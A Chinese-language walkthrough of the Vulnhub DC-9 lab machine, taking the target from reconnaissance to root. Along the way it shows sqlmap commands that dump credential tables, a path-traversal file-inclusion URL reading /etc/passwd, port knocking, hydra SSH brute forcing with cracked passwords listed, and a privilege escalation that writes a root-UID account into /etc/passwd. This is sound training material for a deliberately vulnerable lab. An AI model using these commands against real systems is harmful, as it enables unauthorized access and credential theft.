Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:https://download.vulnhub.com/dc/DC-9.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
使用命令:
nmap -p- -A -T5 172.16.5.24
发现靶机开启了80
端口但是22
端口是关闭的 先访问一下80
端口 使用插件检测一下 是不是cms
框架得网页 发现并没有什么可靠得信息。
②:SQL注入:
发现search
存在输入框 猜测存在sql注入 直接使用sqlmap
工具跑一下
sqlmap -u "http://172.16.5.117/results.php" --datb "search=1" -dbs #列出数据库
sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D users --tables ## 列出表
sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D users -T UserDetails --dump #列出管理员账号密码
这里获取到了一些 信息 然后在跑一下 Staff
这个库
sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D Staff --tables ##列出表
sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D Staff -T Users --dump #获取账号密码
账号密码:admin
,transorbital1
然后进行登入 发现登入成功!!!
③:文件包含:
有个提示:File does not exist
显示文件不存在 通过测试 发现 可能是文件包含漏洞发现这里得用户和刚刚数据库里的用户有些一样的
http://172.16.5.117/welcome.php?file=../../../../etc/passwd
④:端口敲门:
什么是端口敲门?:https://zhuanlan.zhihu.com/p/59488488
knockd 服务的默认配置路径:/etc/knockd.conf
然后使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842
先安装 knockd服务: apt-get install knockd
然后进入配置文件进行编辑 vim /etc/knockd.conf
使用命令:knock 172.16.5.117 7469 8475 9842
发现 ssh
端口的状态是 open
打开(好像还可以用nc
和nmap
大家可以尝试)
⑤:hydra爆破SSH账户:
把刚刚sqlmap
跑出来的账号和密码 新建两个字典 分别为username
和passwd
使用命令:hydra -L username.txt -P passwd.txt ssh://172.16.5.108
发现了三个用户分别是 joeyt Passw0rd
和janitor Ilovepeepee
和chandlerb UrAG0d
使用命令:ssh joeyt@172.16.5.108
(这里ip自动获取了不用在意一样的)等三个用户都进行登入看看有没有什么隐藏的信息
最终在janitor
用户中 发现了一个隐藏文件.secrets-for-putin
查看获取到了一些新的用户密码信息 把刚刚获取的信息再次放入 刚刚的psswd.txt
字典 再次进行爆破。
使用命令再次爆破:hydra -L username.txt -P passwd.txt ssh://172.16.5.108
发现一个新的用户: fredf /B4-Tru3-001
尝试登入,发现登入成功!!
⑥:本地提权
sudo -l #列出权限
进行查看发现test
是一个python
文件
使用命令:find / -name test.py 2>/dev/null
查找python文件 进行查看
大概的就是将参数1
的内容写到参数2
中然后生成一个用户
使用命令:openssl passwd -1 -salt admin 123456
创建一个admin的账号
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd #把/etc/passwd的格式修改一下 然后写入/tmp下面
然后运行test
使用命令:sudo ./test /tmp/passwd.txt /etc/passwd
再查看一下/etc/passwd
然后su
切换admin 用户
⑦:获取flag:
至此获取到了flag,渗透测试结束。
Vulnhub靶机渗透总结:
**这是做的DC系列最后一个靶场了,需要注意的一些细节就是 :
1.需要注意的就是敲门服务 如果安装knockd
服务的话要修改 /etc/knockd.conf
配置文件(当然好几种方法都可以)**
**2.提权的时候有很多小细节就是echo
的时候 最好是单引号 因为我试了双引号开始好像不行 当然也可能是我的问题openssl
的参数是-1
不是英文字母l
然后加密的md5
需要前面+用户名: 提权不成功的原因可能是打错 或者是/etc/pass
格式错了**
**新知识点:
①:了解了knockd
服务 默认路径:/etc/knockd.conf
②:学习了hydra
工具的使用 很方便 (工具很强!)
③:了解了Web 文件包含漏洞遍历信息的基础
④:就是/etc/passwd
的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
("x"
表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow
文件中
允许登入的shell
就是/bin/bash
禁止shell登入就是/sbin/nologin
)
这也是DC系列最后一个靶机的学习啦,希望大家也可以学习到新的一些知识点和一些渗透测试思路
最后创作不易 希望对大家有所帮助!!**